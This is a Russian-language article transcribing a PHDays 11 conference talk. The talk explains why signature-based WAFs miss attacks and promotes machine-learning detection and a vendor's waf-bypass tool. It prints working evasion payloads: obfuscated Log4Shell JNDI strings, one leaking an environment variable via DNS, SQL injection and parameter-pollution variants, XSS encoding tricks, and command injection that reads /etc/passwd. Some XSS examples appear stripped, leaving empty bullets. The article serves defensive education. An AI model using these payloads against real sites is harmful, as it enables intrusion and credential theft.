Обход сигнатур WAF: Расшифровка доклада на PHDays 11

19 мая наш коллега Романов Роман выступил на PHDays 11 с докладом, где вкратце рассказал о том, как в 2022 году с помощью WAF противостоять атакам на веб-приложения и почему сигнатурный метод — не лучший для этого выбор.

Positive Hack Days — международный форум по практической безопасности, который проходит в Москве ежегодно начиная с 2011 года. Организатор — компания Positive Technologies.

Начнем с начала

Использование WAF сопровождается двумя проблемами — пропуски атак и ложные срабатывания. Для уменьшения ложных срабатываний ослабляют правила блокировки, что увеличивает количество пропусков атак, а попытка уменьшения пропусков путем усиления правил — увеличивает ложные срабатывания. Например, если написать правило, которое будет блокировать запрос по ключевому слову select или or, то заблокированы будут и легитимные запросы, например, содержащие selector.php.

Качественно написанная база правил, в целом, позволяет защитить веб-приложение от большинства нецелевых атак, но не гарантирует полной защищенности.

Информация предоставлена исключительно в ознакомительных целях. Не нарушайте законодательство!

Недавний пример с уязвимостью Log4J наглядно показывает, что на каждый байпас атакующий может написать новый.

${jndi:dns://example.com/...}
${jndi:rmi://example.com/...}
${jndi:ldap://example.com/Basic/Command/Base64/...}
${jndi:${lower:l}${lower:d}a${lower:p}://ex${upper:a}mple.com/...}
${${::-j}${::-n}${::-d}${::-i}${::-r}${::-m}${::-i}://example.com/...}
$\{$\{::-j\}$\{::-n\}$\{::-d\}$\{::-i\}:$\{::-r\}$\{::-m\}$\{::-i\}://$\{env:USER\}.example.com/...}
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//example.com/...}

Первые 3 строки — пример эксплуатации уязвимости из-за некорректной работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных, данные могут загружаться атакующим буквально откуда угодно. Последний вариант, кстати, передает данные в Base64.

Последние 4 строчки — варианты байпасов для обхода WAF. Полезные нагрузки составлены на основе документации по Apache Log4j и включают в себя:

  • {lower:} и {upper:} — преобразование символов в верхний/нижний регистр;

  • {env: ENV_NAME:-} — использование переменной среды;

  • {::-} — подстановку строк.

Кстати, попытки эксплуатации и поиски новых байпасов продолжаются до сих пор:

Запрос был заблокирован модулем Nemesida AI и не был определен сигнатурным анализом как атакаЗапрос был заблокирован модулем Nemesida AI и не был определен сигнатурным анализом как атака

SQL-инъекции' union select 1,2,3,4#

e306f11dae722501bc4e8b6e740b2ffb.jpg

Способов обхода сигнатурного анализа можно придумать много — от банального расщепления нагрузки вроде un», «ion se», «lect и до использования различных кодировок и манипуляций. Вот несколько способов написания слова select для обхода фильтров:

Ключевые слова можно и не расщеплять, а просто убирать пробелы между ними. Это можно сделать, например, так:

union+select+1,2,3...

или так:

union/**/select/**/1,2,3...

или даже так:

union(select(1),2,3...

Также можно использовать HPP (HTTP Parameter Pollution) для обхода:

id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

Идея в том, чтобы расщеплять полезную нагрузку и передавать ее, повторяя один и тот же параметр.

Вариантов много и под каждый из них составить правило, без увеличения пропусков атак или ложных срабатываний, не получится.

Фильтры на основе сигнатур, предназначенные для блокировки атак XSS, обычно используют регулярные выражения или другие методы для идентификации ключевых компонентов HTML, таких как скобки тегов, имена тегов, имена атрибутов и их значения.

Вместо стандартного можно использовать . А уже его можно изменять множеством способом для обхода WAF:

  •  — использовать разный регистр при написании тега;

  • Click — использовать произвольный тег;

  •  — один или несколько символов в конце тега могут сработать в качестве пробела между именем тега и значением атрибута;

  • »+{toString: alert} - в некоторых браузерах выполняет функцию без использования () и знака =;

e13691e0fb7a2a2d2e5cc35f1a675b6a.png

Также на кодировках основаны многие способы обхода WAF. Например, последовательность alert () можно частично или полностью передать как:

UTF-8

\x61\x6c\x65\x72\x74\x28\x29

UTF-16

\u0061\u006c\u0065\u0072\u0074\u0028\u0029

UTF-32

u+00000061u+0000006cu+00000065u+00000072u+00000074u+00000028u+00000029

74199901e95982c6f7a90d15743edee9.png

Не стоит забывать и про нестандартные кодировки, которые часто не распознаются WAF: HTTP Entity Encode, Base64, UTF-8 Halfwidth and Fullwidth Forms, множественные URL Encode и т. д.

Под каждый вариант можно попробовать составлять сигнатуры, но, скорее всего, они увеличат количество ложных срабатываний или пропусков атак.

? cmd=; echo 'OS Command Injection'

Атаки этого типа нацелены на выполнение произвольного кода на сервере, поэтому основная задача передать полезную нагрузку в таком виде, в котором он будет интерпретирован целевой системой, но не будет обнаружен WAF. Тут можно использовать несколько способов:

Используя особенность обработки данных Bash-интерпретатором (при наличии OS Command Injection), мы можем прочитать содержимое файла, например,  /etc/passwd, выполнив расщепление данных с помощью кавычки:

ca't /et'c'/pas's'wd

или символа ? , который будет преобразован до нужной буквы (/bin/cat /etc/passwd):

/bi?/ca? /et?/pa??wd
/???/??t /???/pa??wd

Даже используя неинициализированную переменную можно расщипить последовательность /etc/passwd и обойти фильтрацию сигнатурами, где $u будет пустой строкой:

cat$u /etc$u/passwd$u

Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку.

ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash

Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в Bash и выполняется на сервере, возвращая результат пользователю. Для WAF такой запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур.

Можно ли полностью перекрыть подобные попытки обхода сигнатурами? — сказать сложно. Даже если и получится, на каждый метод обхода составить собственное правило, на длинной дистанции это скорее всего приведет к большому количеству пропусков атак или ложным срабатываниями.

Машинное обучение

Недостаток сигнатурного метода обнаружения атак, по сравнению с машинным обучением, очевиден — высокая вероятность обхода WAF с большим количеством ложных срабатываний. Тем не менее, сигнатурный анализ работает быстро и обеспечивает базовую защиту веб-приложения в период обучения и даже после завершения обучения служит первым эшелоном защиты, блокируя очевидные атаки.

Недостаток же машинного обучения — низкая скорость обработки запросов (по сравнению с сигнатурным анализом) и повышенное потребление аппаратных ресурсов сервера. Хоть этот недостаток компенсирует более высокая точность, главное преимущество перед сигнатурами — блокировка запроса на основе совокупности признаков атаки в нем.

То есть, ML предназначен для того, чтобы выявлять и блокировать запросы, которые сигнатурный анализ определить не сможет:

?cmd=/???/??t /???/p?????

Как проверить, на что способен WAF?

4a6651449954641cb02a7a8383aa7ab3.jpg

Оценить качество защищенности веб-приложения может каждый. На Github мы опубликовали собственный инструмент waf-bypass, с помощью которого можно оценить используемый в данный момент WAF. Этот бесплатный инструмент содержит почти 1500 полезных нагрузок для SQLi, XSS, SSTI, RCE, LFI/RFI и т.д.

© Habrahabr.ru